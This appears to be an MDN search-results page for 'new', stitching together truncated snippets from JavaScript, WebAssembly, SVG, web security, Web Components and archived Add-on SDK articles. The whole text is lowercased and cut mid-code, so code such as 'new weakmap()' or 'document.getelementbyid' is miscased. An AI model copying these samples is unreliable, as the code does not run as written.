... examples using weakmap const wm1 = new weakmap(), wm2 = new weakmap(), wm3 = new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects.
WeakMap - JavaScript
constructor weakmap() creates a new weakmap object.
... examples using weakmap const wm1 = new weakmap(), wm2 = new weakmap(), wm3 = new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects.
...ey for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false implementing a weakmap-like class with a .clear() method class clearableweakmap { constructor(init) { this._wm = new weakmap(init); } clear() { this._wm = new weakmap(); } delete(k) { return this._wm.delete(k); } get(k) { return this._wm.get(k); } has(k) { return this._wm.has(k); } set(k, v) { this._wm.set(k, v); return this; } } specifications specification ecmascript (ecma-262)the definition of 'weakmap' in that specification.
WeakRef() constructor - JavaScript
syntax new weakref(targetobject); parameters targetobject the target object the weakref should refer to (also called the referent).
... examples creating a new weakref object see the main weakref page for a complete example.
... class counter { constructor(element) { // remember a weak reference to a dom element this.ref = new weakref(element); this.start(); } } specifications specification weakrefsthe definition of 'weakref constructor' in that specification.
WeakRef - JavaScript
constructor weakref() creates a new weakref object.
... examples using a weakref object this example starts a counter shown in a dom element, stopping when the element doesn't exist anymore: class counter { constructor(element) { // remember a weak reference to the dom element this.ref = new weakref(element); this.start(); } start() { if (this.timer) { return; } this.count = 0; const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.textcontent = ++this.count; } else { // the element doesn't exist anymore console.log("th...
...e element is gone."); this.stop(); this.ref = null; } }; tick(); this.timer = setinterval(tick, 1000); } stop() { if (this.timer) { clearinterval(this.timer); this.timer = 0; } } } const counter = new counter(document.getelementbyid("counter")); counter.start(); settimeout(() => { document.getelementbyid("counter").remove(); }, 5000); specifications specification weakrefsthe definition of 'weakref' in that specification.
WeakSet - JavaScript
weaksets are ideal for this purpose: // execute a callback on everything stored inside an object function execrecursively(fn, subject, _refs = null){ if(!_refs) _refs = new weakset(); // avoid infinite recursion if(_refs.has(subject)) return; fn(subject); if("object" === typeof subject){ _refs.add(subject); for(let key in subject) execrecursively(fn, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; foo.bar.baz = foo; // circular reference!
... constructor weakset() creates a new weakset object.
... examples using the weakset object const ws = new weakset(); const foo = {}; const bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar.
WebAssembly.CompileError() constructor - JavaScript
the webassembly.compileerror() constructor creates a new webassembly compileerror object, which indicates an error during webassembly decoding or validation.
... syntax new webassembly.compileerror(message, filename, linenumber) parameters message optional human-readable description of the error.
... examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } s...
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a new webassembly linkerror object, which indicates an error during module instantiation (besides traps from the start function).
... syntax new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable description of the error.
... examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications ...
WebAssembly.Module() constructor - JavaScript
a webassembly.module() constructor creates a new module object containing stateless webassembly code that has already been compiled by the browser and can be efficiently shared with workers, and instantiated multiple times.
... new webassembly.module(buffersource); parameters buffersource a typed array or arraybuffer containing the binary code of the .wasm module you want to compile.
... examples synchronously compiling a webassembly module var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.RuntimeError() constructor - JavaScript
the webassembly.runtimeerror() constructor creates a new webassembly runtimeerror object — the type that is thrown whenever webassembly specifies a trap.
... syntax new webassembly.runtimeerror(message, filename, linenumber) parameters message optional human-readable description of the error.
... examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } s...
WebAssembly.Table - JavaScript
constructor webassembly.table() creates a new table object.
... examples creating a new webassembly table instance the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 elements.
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
escape() - JavaScript
… … programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
... … the escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence.
... return value a new string in which certain characters have been escaped.
unescape() - JavaScript
… … programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
... … the unescape() function computes a new string in which hexadecimal escape sequences are replaced with the character that it represents.
... return value a new string in which certain characters have been unescaped.
Object initializer - JavaScript
objects can be initialized using new object(), object.create(), or using the literal notation (initializer notation).
... syntax let o = {} let o = {a: 'foo', b: 42, c: {}} let a = 'foo', b = 42, c = {} let o = {a: a, b: b, c: c} let o = { property: function (parameters) {}, get property() {}, set property(value) {} }; new notations in ecmascript 2015 please see the compatibility table for support for these notations.
...it copies own enumerable properties from a provided object onto a new object.
async function - JavaScript
async function foo() { const result1 = await new promise((resolve) => settimeout(() => resolve('1'))) const result2 = await new promise((resolve) => settimeout(() => resolve('2'))) } foo() note how the promise chain is not built-up in one go.
... async function foo() { const p1 = new promise((resolve) => settimeout(() => resolve('1'), 1000)) const p2 = new promise((_,reject) => settimeout(() => reject('2'), 500)) const results = [await p1, await p2] // do not do this!
... examples async functions and execution order function resolveafter2seconds() { console.log("starting slow promise") return new promise(resolve => { settimeout(function() { resolve("slow") console.log("slow promise is done") }, 2000) }) } function resolveafter1second() { console.log("starting fast promise") return new promise(resolve => { settimeout(function() { resolve("fast") console.log("fast promise is done") }, 1000) }) } async function sequentialstart() { console.log('==sequential start==') // 1.
Optimizing startup performance - Web Performance
this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
...in theory, anyway, it should be pretty easy to design your new app to start up nicely.
... getting asynchronous here are some suggestions for how to build your startup process to be as asynchronous as possible (whether it's a new app or a port): use the defer or async attribute on script tags needed by the web application.
Performance budgets - Web Performance
for a text-heavy site such as a blog or a news site, the first contentful paint metric could reflect more closely the user behavior.
... during development, there are a few tools to run checks against new or modified assets: a module bundler (e.g.
... a performance budget helps you protect optimal behavior for your current users while enabling you to tap into new markets and deliver custom experiences.
Progressive loading - Progressive web apps (PWAs)
this problem can be solved with the new intersection observer api — using this we can ensure that images will be loaded only when they appear in the viewport.
... here's what the relevant code looks like: if('intersectionobserver' in window) { const observer = new intersectionobserver((items, observer) => { items.foreach((item) => { if(item.isintersecting) { loadimages(item.target); observer.unobserve(item.target); } }); }); imagestoload.foreach((img) => { observer.observe(img); }); } else { imagestoload.foreach((img) => { loadimages(img); }); } if the intersectionobserver object is supported, the app creates a new instance of it.
... feel free to experiment with the code, enhance your existing app with pwa features, or build something entirely new on your own.
textLength - SVG: Scalable Vector Graphics
ing document.getelementbyid(): const widthslider = document.getelementbyid("widthslider"); const widthdisplay = document.getelementbyid("widthdisplay"); const textelement = document.getelementbyid("hello"); const baselength = math.floor(textelement.textlength.baseval.value); widthslider.value = baselength; widthslider.addeventlistener("input", function(event) { textelement.textlength.baseval.newvaluespecifiedunits( svglength.svg_lengthtype_px, widthslider.valueasnumber); widthdisplay.innertext = widthslider.value; }, false); widthslider.dispatchevent(new event("input")); after fetching the element references, an eventlistener is established by calling addeventlistener() on the slider control, to receive any input events which occur.
... when an "input" event occurs, we call svglength.newvaluespecifiedunits() to set the value of textlength to the slider's new value, using the svglength interface's svg_lengthtype_px unit type to indicate that the value represents pixels.
... after updating the text width, the contents of the widthdisplay box are updated with the new value as well, and we're finished.
Basic Transformations - SVG: Scalable Vector Graphics
to combine several transformations, one can set the resulting matrix directly with the matrix(a, b, c, d, e, f) transformation which maps coordinates from a previous coordinate system into a new coordinate system by {xnewcoordsys=axprevcoordsys+cyprevcoordsys+eynewcoordsys=bxprevcoordsys+dyprevcoordsys+f\left{ \begin{matrix} x_{\mathrm{prevcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{prevcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right.
... effects on coordinate systems when using transformations you establish a new coordinate system inside the element the transformations apply to.
...this way you can also simply create new coordinate systems by utilizing the viewbox, width and height of the inner svg element.
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
one way to check is to create a new profile and restart mozilla using that profile.
... if svg works with the new profile, then simply delete the new profile and go about cleaning your old profile using the steps in the section below.
... if the new profile doesn't work, clean your os file associations, then your mimetypes.rdf.
Insecure passwords - Web security
for example, a news site may save which news articles a user wants to go back to and read, but not save any other data about a user.
... web developers of the news site may be less motivated to secure their site and their user credentials.
...users use the same password across multiple sites (news websites, social networks, email providers, banks).
Same-origin policy - Web security
reason http://store.company.com/dir2/other.html same origin only the path differs http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host inherited origins scripts executed from pages with an about:blank or javascript: url inherit the origin of the document containing that url, since these types of urls do not contain information about an origin server.
... for example, about:blank is often used as a url of new, empty popup windows into which the parent script writes content (e.g.
... data: urls get a new, empty, security context.
Transport Layer Security - Web security
in general, you should try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site.
... tls 1.3 defines a new set of cipher suites that are exclusive to tls 1.3.
... tls 1.3 adds just one significant new use case.
Using shadow DOM - Web Components
the new chromium-based edge (75 and onwards) supports it too; the old edge didn't.
... note that the shadow dom is not a new thing by any means — browsers have used it for a long time to encapsulate the inner structure of an element.
...s to attach all the created elements to the shadow root: // attach the created elements to the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(info); using our custom element once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in using custom elements: // define the new element customelements.define('popup-info', popupinfo); <popup-info img="img/alt.png" data-text="your card validation code (cvc) is an extra security feature — it is the last 3 or 4 numbers on the back of your card."> internal versus external styles in the above example we apply style to the shadow dom using a <style> e...
Web Components
register your new custom element using the customelementregistry.define() method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally, what element it inherits from.
... reference custom elements customelementregistry contains functionality related to custom elements, most notably the customelementregistry.define() method used to register new custom elements so they can then be used in your document.
... adoptedcallback: invoked when the custom element is moved to a new document.
XPath snippets - XPath
function evaluatexpath(anode, aexpr) { var xpe = new xpathevaluator(); var nsresolver = xpe.creatensresolver(anode.ownerdocument == null ?
... anode.documentelement : anode.ownerdocument.documentelement); var result = xpe.evaluate(aexpr, anode, nsresolver, 0, null); var found = []; var res; while (res = result.iteratenext()) found.push(res); return found; } this function uses the new xpathevaluator() constructor, which is supported in firefox, chrome, opera and safari, but not in edge or internet explorer.
... scripts in a web document which might be accessed by edge or internet explorer users should replace the call to new xpathevaluator() with the following fragment: // xpathevaluator is implemented on objects that implement document var xpe = anode.ownerdocument || anode; in that case the creation of the xpathnsresolver can be simplified as: var nsresolver = xpe.creatensresolver(xpe.documentelement); note however that creatensresolver should only be used if you are sure the namespace prefixes in the xpath expression match those in the document you want to query (and that no default namespace is being used (though see document.creatensresolver for a workaround)).
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocesso...
... figure 2 : creating an xml document based on part of a document's dom // create a new xml document in memory var xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom from an html document to an xml document.
... var parser = new domparser(); var doc = parser.parsefromstring(astr, "text/xml"); figure 3 : performing the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); ...
Compiling an Existing C Module to WebAssembly - WebAssembly
now you only need some html and javascript to load your new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> and you will see the correct version number in the output: note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc.
...t_result_size() { return result[1]; } now with all of that in place, you can call the encoding function, grab the pointer and image size, put it in a javascript buffer of your own, and release all the wasm buffers allocated in the process: api.encode(p, image.width, image.height, 100); const resultpointer = api.get_result_pointer(); const resultsize = api.get_result_size(); const resultview = new uint8array(module.heap8.buffer, resultpointer, resultsize); const result = new uint8array(resultview); api.free_result(resultpointer); note: new uint8array(somebuffer) will create a new view onto the same memory chunk, while new uint8array(sometypedarray) will copy the data.
...to prove that it worked, turn your result buffer into a blob and use it on an <img> element: const blob = new blob([result], {type: 'image/webp'}); const bloburl = url.createobjecturl(blob); const img = document.createelement('img'); img.src = bloburl; document.body.appendchild(img) behold, the glory of a new webp image.
Private Properties - Archive of obsolete content
a weakmap is very similar to an ordinary hash map, but differs from it in two crucial ways: it can use ordinary objects as keys it does not maintain a strong reference to its values to understand how weakmaps are used in practice, the following rewrites the thumbnail cache using a weakmap: let thumbnails = new weakmap(); function getthumbnail(image) { let thumbnail = thumbnails.get(image); if (!thumbnail) { thumbnail = createthumbnail(image); thumbnails.set(image, thumbnail); } return thumbnail; } this version suffers from none of the problems we mentioned earlier.
...using namespaces, the earlier example can be rewritten as: let map = new weakmap(); let internal = function (object) { if (!map.has(object)) map.set(object, {}); return map.get(object); } function point(x, y) { internal(this).x = x; internal(this).y = y; } point.prototype.getx = function () { return internal(this).x; }; point.prototype.setx = function (x) { internal(this).x = x; }; point.prototype.gety = function () { return in...
SDK and XUL Comparison - Archive of obsolete content
we've designed the apis to be forward-compatible with the new multiple process architecture (codenamed electrolysis) planned for firefox.
... mobile support starting in sdk 1.5, we've added experimental support for developing add-ons on the new native version of firefox mobile.
Testing the Add-on SDK - Archive of obsolete content
with jpm jpm tests all use the new toolkit/loader.
... ./mach mochitest -f jetpack-package <optional_file_path>: this runs the module unit tests mentioned for cfx testpkgs and gulp test:modules but in this case with the newer toolkit/loader used with jpm.
clipboard - Archive of obsolete content
var clipboard = require("sdk/clipboard"); clipboard.set("<blink>lorem ipsum dolor sit amet</blink>", "html"); if the clipboard contains html content, open it in a new tab.
... var clipboard = require("sdk/clipboard"); clipboard.set("data:image/png;base64,ivborw0kggoaaaansuheugaaacaaaaagcaya" + "aabzenr0aaaasuleqvryhe3o0qkaiawd0eyqe3q993aq3cbsukpygfsnty" + "n5ugbqpk0baadgp0brdwxwlweaaaaagpsa3rzdaaaaahgpcgrpganzq2fg" + "bwrr9aaaaabjru5erkjggg%3d%3d"); if the clipboard contains an image, open it in a new tab.
indexed-db - Archive of obsolete content
the add-on implements helper functions open(), additem() and getitems() to open the database, add a new item to the database, and get all items in the database.
... db.deleteobjectstore("items"); } var store = db.createobjectstore("items", {keypath: "time"}); }; request.onsuccess = function(e) { database.db = e.target.result; }; request.onerror = database.onerror; }; function additem(name) { var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var time = new date().gettime(); var request = store.put({ "name": name, "time": time }); request.onerror = database.onerror; }; function getitems(callback) { var cb = callback; var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var items = new array(); trans.oncomplete = function() { cb(items); } var keyrange =...
page-mod - Archive of obsolete content
the exclude option is new in firefox 32.
... name: exclude type: string, regexp, array of (string or regexp) this option is new in firefox 32 specifies a range of urls to exclude.
passwords - Archive of obsolete content
it takes an options object as an argument: this contains all the properties for the new credential.
...{ credentials.foreach(require("sdk/passwords").remove); }) }); to change an existing credential just call store after remove succeeds: require("sdk/passwords").remove({ realm: "user registration", username: "joe", password: "secret123" oncomplete: function oncomplete() { require("sdk/passwords").store({ realm: "user registration", username: "joe", password: "{new password}" }) } }); parameters options : object required options: name type username string the username for the credential.
widget - Archive of obsolete content
ntent: "<foo>bar</foo>", contentscriptwhen: "ready", contentscript: 'self.on("message", function(message) {' + ' alert("got message: " + message);' + '});' + 'self.postmessage("ready");', onmessage: function(message) { if (message == "ready") widget.postmessage("me too"); } }); globals constructors widget(options) creates a new widget.
... events attach this event is emitted when a browser window is opened and a new widgetview object is created.
frame/utils - Archive of obsolete content
for more details and other possible values see documentation on mdn uri string uri of the document to be loaded into the new frame.
... returns frame : the new browser element.
util/match-pattern - Archive of obsolete content
example pattern example matching urls "file://*" file://c:/file.html file:///home/file.png "resource://*" resource://my-addon-at-me-dot-org/my-addon/data/file.html "data:*" data:text/html,hi there regular expressions you can specify patterns using a regular expression: var { matchpattern } = require("sdk/util/match-pattern"); var pattern = new matchpattern(/.*example.*/); the regular expression is subject to restrictions based on those applied to the html5 pattern attribute.
... http://mozilla.org http://hemozoon.org/ https://anydomain.com/foomozbar/ ftp://http/mozilla.org /[^:/]+:\/\/[^/]*mozilla\.org\/.*/ ftp://foo.mozilla.org/ http://www.mozilla.org/ https://developer.mozilla.org/any ftp://http/mozilla.org http://anydomain.com/mozilla.org/ examples var { matchpattern } = require("sdk/util/match-pattern"); var pattern = new matchpattern("http://example.com/*"); console.log(pattern.test("http://example.com/")); // true console.log(pattern.test("http://example.com/foo")); // true console.log(pattern.test("http://foo.com/")); // false!
util/object - Archive of obsolete content
let { extend } = require("sdk/util/object"); var a = { alpha: "a" }; var b = { beta: "b" }; var g = { gamma: "g", alpha: null }; var x = extend(a, b, g); console.log(a); // { alpha: "a" } console.log(b); // { beta: "b" } console.log(g); // { gamma: "g", alpha: null } console.log(x); // { alpha: null, beta: "b", gamma: "g" } parameters arguments : object n arguments that get merged into a new object.
... returns object : the new, merged object.
util/uuid - Archive of obsolete content
generate uuid to generate a new uuid, call uuid() with no arguments: let uuid = require('sdk/util/uuid').uuid(); parsing uuid to convert a string representation of a uuid to an nsid, pass the string representation to uuid(): let { uuid } = require('sdk/util/uuid'); let firefoxuuid = uuid('{ec8030f7-c20a-464f-9b0e-13a3a9e97384}'); globals functions uuid(stringid) generate a new uuid, or convert a string representation of a uuid to an nsid.
...otherwise a new nsid will be generated and returned.
Add a Menu Item to Firefox - Archive of obsolete content
the sdk doesn't provide a built-in api to add new menu items to firefox.
... to see how to use third-party modules to add a new menu item, see the tutorial on using third-party modules with jpm.
Adding a Button to the Toolbar - Archive of obsolete content
create a new directory, navigate to it, and execute jpm init, accepting all the defaults.
... clicking the button loads https://www.mozilla.org/ into a new tab.
Modifying Web Pages Based on URL - Archive of obsolete content
lude option is as follows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it.
...the message will contain the new content to insert into the document.
Unit Testing - Archive of obsolete content
to begin with, create a new directory, navigate to it, and run jpm init.
... now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions.
Tutorials - Archive of obsolete content
interact with the browser open a web page open a web page in a new browser tab or window using the tabs module, and access its content.
... listen for page load use the tabs module to get notified when new web pages are loaded, and access their content.
Bootstrapped extensions - Archive of obsolete content
newer versions of firefox will use the bootstrap.js script, ignoring the components and overlays, while older versions will use the overlays.
... newversion string the version to be installed, if the reason is addon_upgrade or addon_downgrade, and the method is shutdown or uninstall.
Drag & Drop - Archive of obsolete content
(supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-service;1'].getservice(components.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("applicatio...
...0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0], null, null); } else { var file = data.value.queryinterface(components.interfaces.nsifile); if (file) uri = _ios.newfileuri(file); } } if (uri) uris.push(uri); } // use the array of file uris } the _dragover function checks the drag data to see if a simple text file or general purp...
Forms related code snippets - Archive of obsolete content
reateelement("thead"), ocapt = document.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth; this.target = otarget; this.display = document.createelement("span"); this.current = new date(); this.container = otable; this.display.classname = sprefs + "-current-month"; this.id = nid; otable.classname = sprefs + "-calendar"; otable.id = sprefs + "-cal-" + nid; odecryear.classname = sprefs + "-decrease-year"; odecrmonth.classname = sprefs + "-decrease-month"; oincrmonth.classname = sprefs + "-increase-month"; oincryear.classname = sprefs + "-in...
... othiscal.target.value = (this.innerhtml / 100).tofixed(2).substr(-2) + "\/" + (othiscal.current.getmonth() + 1) + "\/" + othiscal.current.getfullyear(); othiscal.container.parentnode.removechild(othiscal.container); return false; } function buildcalendars () { const afields = document.getelementsbyclassname(sdpclass), nlen = afields.length; for (var nitem = 0; nitem < nlen; new datepicker(afields[nitem++])); } const /* customizable by user */ sprefs = "zdp"; sdpclass = "date-picker", smonthsnames = ["jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec"], sdays = ["m", "t", "w", "t", "f", "s", "s"], bzeroismonday = true, /* internal usage */ ainstances = [], amonthlengths = [31, 28, 31, 30, 31, 30, 3...
Label and description - Archive of obsolete content
this reduces all whitespace chunks (including newlines) to single spaces.
...absolutely nothing!</description> with white-space: pre; all whitespace, including newlines, is rendered literally.
Miscellaneous - Archive of obsolete content
simulating mouse and key events https://developer.mozilla.org/samples/domref/dispatchevent.html also, new in firefox 3 / gecko 1.9: var utils = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindowutils); utils.sendmouseevent("mousedown", 10, 10, 0, 1, 0); utils.sendmouseevent("mouseup", 10, 10, 0, 1, 0); getting the currently selected text from browser.xul overlay context: var selectedtext = document.commanddispatch...
...t(','); for (var i=0; i<certs.length; i++) { this.addcertificate(certs[i], 'c,c,c'); } }, addcertificate: function(certname, certtrust) { var certdb = cc["@mozilla.org/security/x509certdb;1"].getservice(ci.nsix509certdb2); var scriptablestream=cc["@mozilla.org/scriptableinputstream;1"].getservice(ci.nsiscriptableinputstream); var channel = gioservice.newchannel("chrome://yourapp/content/certs" + certname, null, null); var input=channel.open(); scriptablestream.init(input); var certfile=scriptablestream.read(input.available()); scriptablestream.close(); input.close(); var begincert = "-----begin certificate-----"; var endcert = "-----end certificate-----"; certfile = certfile.replace(/[\r\n]/g, "...
Page Loading - Archive of obsolete content
page loading on page load how to execute code each time a new page is loaded in browser/mail progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
... post data to window code to post data to an existing or new window/tab ...
Progress Listeners - Archive of obsolete content
var myextension = { oldurl: null, init: function() { gbrowser.addprogresslistener(this); }, uninit: function() { gbrowser.removeprogresslistener(this); }, processnewurl: function(auri) { if (auri.spec == this.oldurl) return; // now we know the url is new...
... alert(auri.spec); this.oldurl = auri.spec; }, // nsiwebprogresslistener queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onlocationchange: function(aprogress, arequest, auri) { this.processnewurl(auri); }, onstatechange: function() {}, onprogresschange: function() {}, onstatuschange: function() {}, onsecuritychange: function() {} }; window.addeventlistener("load", function() { myextension.init() }, false); window.addeventlistener("unload", function() { myextension.uninit() }, false); note: if you use the same listener for more than one tab/window, use awebprogress.domwindow in the callback methods to obtain the tab/window which triggers th...
Sidebar - Archive of obsolete content
resizing the sidebar programmatically in case you need to change the width of the sidebar, use the following code: function setsidebarwidth(newwidth) { var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.document.getelementbyid("sidebar-box").width=newwi...
...dth; } or function setsidebarwidth(newwidth) { window.top.document.getelementbyid("sidebar-box").width=newwidth; } you can also disable the ability to resize it manually, using the mouse, by hiding the sidebar's splitter element.
Delayed Execution - Archive of obsolete content
some example usages include: const timer = components.constructor("@mozilla.org/timer;1", "nsitimer", "initwithcallback"); function delay(timeout, func) { let timer = new timer(function () { // remove the reference so that it can be reaped.
... let idx = delay.timers.push(timer) - 1; return idx; } delay.timers = []; function repeat(timeout, func) { let timer = new timer(function () { func(); }, timeout, ci.nsitimer.type_repeating_slack); // store a reference to the timer so that it's not reaped before it fires.
getAttributeNS - Archive of obsolete content
satt); } else if (ns === null) { return thisitem.getattribute(nsatt); } else if (ns === 'http://www.w3.org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being searched (escape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && ...
... thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { var xmlnsprefix = new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { attrs2 = thisitem.attributes; for (var i = 0; i < attrs2.length; i++) { // search for any prefixed xmlns declaration on thisitem which match prefixes found above with desired local name if (attrs2[i].nodename.match(xmlnsprefix) && attrs2[i].
Deploying a Plugin as an Extension - Archive of obsolete content
one of the new features available in firefox 1.5 is the ability to place browser plugins in a firefox extension.
... this feature is particularly useful for vendors who wish to deploy the plugin even if firefox is not currently installed, or who want to use the automatic extension update mechanism to update their plugin to a newer version.
Developing add-ons - Archive of obsolete content
extensions extensions add new functionality to mozilla applications such as firefox, seamonkey and thunderbird.
... they can add anything from a toolbar button to a completely new feature.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
the good news is there are several ways to workaround the problem.
...this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each script change.
Chapter 1: Introduction to Extensions - Archive of obsolete content
new feature extensions fixme: update this.
... extensions can add completely new features to firefox.
Adding Events and Commands - Archive of obsolete content
also keep in mind that there are 2 drag and drop apis, the newest (and preferred) one introduced in firefox 3.5.
...for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascript code you would have something like this: changegreeting : function(aevent) { // more stuff aevent.target.setattribute("label", somenewgreeting); } the target in this example is the button element, so clicking on it will change its text.
Adding sidebars - Archive of obsolete content
« previousnext » the sidebar in firefox is a relatively large and flexible space to add rich interfaces without requiring new windows or complicated overlays.
